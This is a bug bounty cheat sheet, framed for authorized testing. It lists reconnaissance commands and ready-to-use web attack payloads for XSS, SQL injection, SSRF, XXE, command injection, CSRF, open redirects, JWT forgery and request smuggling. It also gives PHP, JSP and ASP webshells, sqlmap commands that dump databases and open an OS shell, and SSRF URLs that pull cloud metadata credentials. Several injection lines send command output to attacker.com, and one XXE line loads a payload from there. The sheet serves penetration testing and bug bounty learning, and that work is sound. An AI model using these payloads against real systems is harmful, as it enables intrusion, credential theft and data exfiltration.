

BUG BOUNTY COMPLETE CHEAT SHEET

Reconnaissance · Web Vulnerabilities · Exploitation · Reporting

v2.0 · 2025 Edition · For Authorized Testing Only

■ Table of Contents

1. Reconnaissance & Information Gathering
2. OWASP Top 10 Quick Reference
3. Cross-Site Scripting (XSS)
4. SQL Injection
5. Server-Side Request Forgery (SSRF)
6. Insecure Direct Object Reference (IDOR)
7. Authentication & Session Issues
8. Business Logic Vulnerabilities
9. API Security Testing
10. File Upload Vulnerabilities
11. XXE Injection
12. Command Injection
13. CSRF
14. Open Redirect
15. HTTP Request Smuggling
16. Subdomain Takeover
17. Bug Bounty Platforms & Scope
18. Severity Rating (CVSS)
19. Report Writing Template
20. Recon Tools Quick Reference

1. RECONNAISSANCE & INFORMATION GATHERING

Passive Recon

- WHOIS / DNS: `whois target.com` | `dig any target.com`
- Google Dorks: `site:target.com filetype:pdf` | `inurl:admin` | `intitle:index.of`
- Shodan: `org:"Target Corp" port:443`
- Certificate Transparency: `crt.sh`, `censys.io`, `fofa.info`
- Wayback Machine: `web.archive.org` (look for old endpoints/keys)
- GitHub Recon: `org:target password` | `api_key` | `secret_key`

Active Recon – Subdomain Enumeration

```
subfinder -d target.com -o subs.txt
amass enum -passive -d target.com
assetfinder --subs-only target.com | httpprobe | tee live.txt
dnsx -l subs.txt -a -resp
```

Port & Service Scanning

```
nmap -sV -sC -T4 -p- target.com --open
masscan -p1-65535 --rate=10000 target.com
```

Directory & Content Discovery

```
ffuf -w /usr/share/wordlists/raft-large.txt -u https://target.com/FUZZ
dirsearch -u https://target.com -e php,asp,aspx,js,json
gobuster dir -u https://target.com -w common.txt -x bak,old,zip
```

JS & Endpoint Discovery

```
katana -u https://target.com -js-crawl -d 5 -o endpoints.txt
gau target.com | grep '\.js' | sort -u | tee jsfiles.txt
linkfinder -i https://target.com/app.js -o cli
```

2. OWASP TOP 10 QUICK REFERENCE

Vulnerability	Key Points	Typical Severity
A01 – Broken Access Control	IDOR, privilege escalation, forced browsing	Critical/High
A02 – Cryptographic Failures	Sensitive data in transit/rest, weak ciphers	High
A03 – Injection	SQLi, XSS, CMDi, XXE, SSTI	Critical
A04 – Insecure Design	Missing rate-limit, business logic flaws	Varies
A05 – Security Misconfiguration	Debug on, default creds, open S3, CORS *	High
A06 – Vulnerable Components	Outdated libs, CVEs in dependencies	High
A07 – Auth Failures	Weak passwords, no MFA, session fixation	Critical
A08 – Data Integrity Failures	Unsigned cookies, unsafe deserialisation	High
A09 – Logging Failures	No audit trail (OOB for detection bypass)	Low
A10 – SSRF	Fetch internal metadata / cloud IMDS	High/Critical

3. CROSS-SITE SCRIPTING (XSS)

Types

- **Reflected XSS** – Payload in URL, reflected immediately in response.
- **Stored XSS** – Payload saved to DB, served to other users. Higher severity.
- **DOM XSS** – JavaScript reads attacker-controlled source (location.hash, etc.) and passes to sink.

Basic Payloads

```
<script>alert(1)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(1)>
javascript:alert(1)
'><script>alert(1)</script>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
```

Filter Bypass Tricks

```
<ScRiPt>alert(1)</ScRiPt>           (case-mix)
<img src=x onerror=alert(1)>       (HTML entities)
<script>eval(atob('YwxlcnQoMSk='))</script>   (base64)
<svg/onload=\talert`1`>           (tab separator)
<a href=jaVaScRiPt:alert(1)>click</a>         (href bypass)
```

Impact Escalation

- Account takeover via document.cookie / localStorage theft
- Keylogging: document.addEventListener('keypress', ...)
- Phishing overlay injected into legitimate page
- Chained with CSRF to perform actions on behalf of victim

4. SQL INJECTION

Detection

```
'
''
~
' OR '1'='1
' OR 1=1--
" OR ""=""
```

UNION-Based Extraction

```
' ORDER BY 1-- (increment until error to find column count)
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
```

Blind Boolean

```
' AND 1=1-- (true - page loads normally)
' AND 1=2-- (false - page differs)
' AND SUBSTRING(username,1,1)='a'--
```

Time-Based Blind

```
'; IF(1=1) WAITFOR DELAY '0:0:5'-- (MSSQL)
' AND SLEEP(5)-- (MySQL)
'; SELECT pg_sleep(5)-- (PostgreSQL)
```

sqlmap Cheatsheet

```
sqlmap -u 'https://target.com/page?id=1' --dbs
sqlmap -u '...' -D dbname --tables
sqlmap -u '...' -D dbname -T users --dump
sqlmap -u '...' --level=5 --risk=3 --batch
sqlmap -r request.txt --dbms=mysql --os-shell
```

5. SERVER-SIDE REQUEST FORGERY (SSRF)

Detection Points

- URL parameters: url=, path=, redirect=, uri=, next=, dest=
- Webhook / callback fields, PDF generators, image fetch, file import
- Header injection: Host, X-Forwarded-For, Referer

Payloads – Internal Services

```
http://127.0.0.1/
http://localhost:8080/admin
http://169.254.169.254/latest/meta-data/ (AWS IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/ (GCP)
http://169.254.169.254/metadata/instance?api-version=2021-01-01 (Azure)
```

Bypass Techniques

```
http://[::1]/ (IPv6 loopback)
http://0x7f000001/ (hex IP)
http://2130706433/ (decimal IP for 127.0.0.1)
http://127.1/ (short form)
http://localtest.me/ (resolves to 127.0.0.1)
http://target.com@evil.com/ (@ confusion)
http://evil.com#target.com (fragment)
dict://localhost:11211/ (Redis/Memcached protocol)
```

6. INSECURE DIRECT OBJECT REFERENCE (IDOR)

Where to Look

- Numeric IDs in URL: `/api/user/1234`, `/invoice/5678`
- GUIDs: `/order/3fa85f64-5717-4562-b3fc-2c963f66afa6`
- Base64-encoded objects in parameters or cookies
- Filename-based access: `/download?file=report_john.pdf`
- Hidden form fields referencing account/user IDs

Test Methodology

- Create two accounts (A and B)
- Perform action as A, capture request
- Replace A's ID with B's ID → check if B's data is returned
- Test HTTP method variations: GET → POST → PUT → PATCH → DELETE
- Try parameter pollution: `id=A&id;=B`
- Test JSON body: `{'user_id': 'victim_id'}`

Privilege Escalation via IDOR

- Horizontal: Access other users' same-level data
- Vertical: Escalate to admin endpoints by changing role parameter
- Check: `/api/admin/users`, `/api/v1/accounts/all`

7. AUTHENTICATION & SESSION ISSUES

Common Vulnerabilities

Password Spraying	admin:password, admin:admin123 against many accounts
Default Credentials	admin/admin, root/root, guest/guest
Brute Force	No rate limit or lockout on /login
JWT Weaknesses	alg:none, weak secret, key confusion HS256 vs RS256
Session Fixation	Session token not rotated after login
Insecure Forget-Password	Token in URL, predictable token, no expiry
OAuth Misconfig	Redirect_uri not validated, state param missing
2FA Bypass	Response manipulation, OTP brute force, race condition

JWT Attack Payloads

```

{"alg":"none","typ":"JWT"} → base64url encode + send without signature
# crack weak secret hashcat -a 0 -m 16500 token.txt wordlist.txt
# alg confusion: sign with public key as HMAC secret python3 jwt_tool.py TOKEN -X k -pk public.pem

```

8. BUSINESS LOGIC VULNERABILITIES

Areas to Test

- Price manipulation: negative quantity, coupon stacking, currency confusion
- Workflow bypass: skip payment step, jump to order-confirmed URL
- Race conditions: double-spend, bonus abuse with concurrent requests
- Mass assignment: POST /user with {"role":"admin", "isAdmin":true}
- Account takeover via email change without verification
- Referral abuse: self-referral, circular referral chains
- Voucher reuse after refund request

Race Condition Testing

Turbo Intruder / Burp last-byte sync technique

```
# Python threaded example import threading, requests def redeem():
    requests.post('/redeem', json={'code':'SAVE50'})
[threading.Thread(target=redeem).start() for _ in range(20)]
```

9. API SECURITY TESTING

Recon

```
# Swagger/OpenAPI discovery ffuf -u https://target.com/FUZZ -w api_wordlist.txt
# Common paths /api/v1/ | /swagger.json | /openapi.yaml | /api-docs | /graphql
```

REST API Checklist

- Broken Object Level Auth (BOLA/IDOR): change IDs in path
- Broken Function Level Auth: try /api/admin/users as regular user
- Mass Assignment: send extra fields in PUT/PATCH body
- Excessive Data Exposure: API returns more fields than UI shows
- Rate Limiting: missing throttle on /api/v1/login
- Improper HTTP Methods: server accepts GET where only POST expected

GraphQL Testing

```
# Introspection query {__schema{types{name fields{name}}}}
# Brute fields with Clairvoyance python3 clairvoyance.py -t https://target.com/graphql
# Mutation with IDOR mutation { updateUser(id: "victim_id", email: "attacker@evil.com") }
```

10. FILE UPLOAD VULNERABILITIES

Bypass Techniques

- Change Content-Type: image/jpeg while uploading .php
- Double extension: malicious.php.jpg, malicious.php%00.jpg
- Extension case: .PhP, .PHP5, .phtml, .phar
- Magic bytes: add JPEG header (FF D8 FF) before PHP payload
- SVG XSS: <svg xmlns=...><script>alert(1)</script></svg>
- ZIP Slip: archive with ../../../../etc/cron.d/shell path

Webshell Payloads

```
<?php system($_GET['cmd']); ?>          (PHP)
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>   (JSP)
<% eval request("cmd") %>          (ASP)
# curl after upload curl 'https://target.com/uploads/shell.php?cmd=id'
```

11. XXE INJECTION

Basic Payloads

```
<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>  
# SSRF via XXE <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">  
# Blind OOB XXE <!ENTITY % xxe SYSTEM "http://attacker.com/payload.dtd"> %xxe;
```

XInclude (no DOCTYPE needed)

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/>  
</foo>
```

12. COMMAND INJECTION

Payloads

```
; id
| id
|| id
& id
&& id
` id `
$(id)
; sleep 5
| curl http://attacker.com/`id`
127.0.0.1; cat /etc/passwd
```

Blind Detection

```
# Time-based ; sleep 10
# OOB DNS ; nslookup `id`.attacker.burpcollaborator.net
# OOB HTTP ; curl http://attacker.com/?x=`id`
```

13. CROSS-SITE REQUEST FORGERY (CSRF)

Test Checklist

- Remove CSRF token from request – does it still work?
- Submit empty token value
- Use another user's valid token
- Change request method: POST → GET
- Check if Referer/Origin validation is enforced

PoC HTML

```
<html><body> <form action="https://target.com/change-email" method="POST">
  <input name="email" value="attacker@evil.com">   <input type="submit"> </form>
<script>document.forms[0].submit();</script> </body></html>
```

14. OPEN REDIRECT

Common Parameters

- url=, redirect=, next=, return=, goto=, dest=, continue=, redir=

Bypass Payloads

//evil.com

///evil.com

https:evil.com

/\evil.com

https://target.com@evil.com

https://evil.com#target.com

https://evil%E3%80%82com (unicode dot)

15. HTTP REQUEST SMUGGLING

Types

- **CL.TE**: Frontend uses Content-Length, backend uses Transfer-Encoding
- **TE.CL**: Frontend uses Transfer-Encoding, backend uses Content-Length
- **TE.TE**: Both use TE but one can be obfuscated

CL.TE Payload Example

```
POST / HTTP/1.1 Host: target.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED
```

Detection

```
# Use Burp Suite - HTTP Request Smuggler extension # Or smuggler.py by defparam  
python3 smuggler.py -u https://target.com/
```

16. SUBDOMAIN TAKEOVER

Vulnerable CNAME Fingerprints

GitHub Pages	There isn't a GitHub Pages site here
Heroku	No such app
Shopify	Sorry, this shop is currently unavailable
Fastly	Fastly error: unknown domain
AWS S3	NoSuchBucket
Azure	404 Web Site not found
Zendesk	Help Center Closed
Cargo	404 Not Found

Workflow

```
# Find dangling CNAMEs subjack -w subdomains.txt -t 100 -ssl -o takeover.txt
nuclei -l subdomains.txt -t ~/nuclei-templates/takeovers/
```

17. BUG BOUNTY PLATFORMS & SCOPE

HackerOne	hackerone.com – largest public program directory
Bugcrowd	bugcrowd.com – managed & crowd programs
Intigriti	intigriti.com – EU-focused, strong community
Synack	synack.com – vetted, invite-only
YesWeHack	yeswehack.com – European platform
Open Bug Bounty	openbugbounty.org – responsible disclosure
CISA / VDP	Government VDPs (Pentagon, CISA.gov)
Private Programs	Direct invites via platform or company

Scope Rules (ALWAYS Check)

- Read the full program policy before starting
- Confirm in-scope domains, IPs, apps, APIs
- Check excluded vulnerabilities (rate limit, CSP, self-XSS...)
- Note safe-harbor language and legal protections
- Never test out-of-scope assets – risk of legal action

18. SEVERITY RATING (CVSS v3.1)

Severity	CVSS Score	Example Findings
Critical	9.0 – 10.0	RCE, SQLi with full DB dump, auth bypass → admin
High	7.0 – 8.9	SSRF to internal, stored XSS, IDOR sensitive data
Medium	4.0 – 6.9	Reflected XSS, CSRF, open redirect, info disclosure
Low	0.1 – 3.9	Self-XSS, clickjacking, verbose errors
Info	0.0	Best-practice issues, no direct impact

19. REPORT WRITING TEMPLATE

Title	Clear, specific: 'Stored XSS in /profile/bio leads to account takeover'
Severity	Critical / High / Medium / Low + CVSS score if possible
Vulnerability Type	CWE-79 (XSS), CWE-89 (SQLi), CWE-918 (SSRF), ...
Affected Endpoint	https://target.com/api/v1/profile [POST]
Description	2-3 sentences explaining the flaw and root cause
Steps to Reproduce	Numbered, exact steps. Include request/response.
PoC	Screenshots, Burp request, video if complex
Impact	Business impact: data exposed, accounts affected, revenue loss
Remediation	Output encoding, parameterised queries, allowlist, etc.
References	OWASP link, CWE, PortSwigger, CVE if applicable

20. RECON TOOLS QUICK REFERENCE

subfinder	Fast passive subdomain enum
amass	Active/passive subdomain + ASN mapping
httpx	Probe live HTTP services from list
nuclei	Template-based scanner (CVEs, misconfigs, takeovers)
ffuf	Fast fuzzer: dirs, params, vhosts
sqlmap	Automated SQL injection & DB extraction
dalfox	XSS finder & exploitation
katana	JS crawling & endpoint discovery
gau	Get all URLs (Wayback + Common Crawl + otx)
hakrawler	Fast web crawler for endpoints
jwt_tool	JWT analysis and attack toolkit
smuggler.py	HTTP request smuggling detection
burpsuite	Intercept, replay, fuzz – essential proxy
caido	Modern Burp alternative (Rust-based)
interactsh	OOB (DNS/HTTP) callback server (OAST)
shodan	Internet-wide port/service search
censys	TLS cert + host search engine
crt.sh	Certificate transparency subdomain enum
trufflehog	Scan Git repos for leaked secrets
gitleaks	Git secret scanning

■■ This cheat sheet is for **authorized penetration testing and bug bounty programs only**. Unauthorized testing is illegal. Always obtain written permission before testing. Use responsibly and ethically.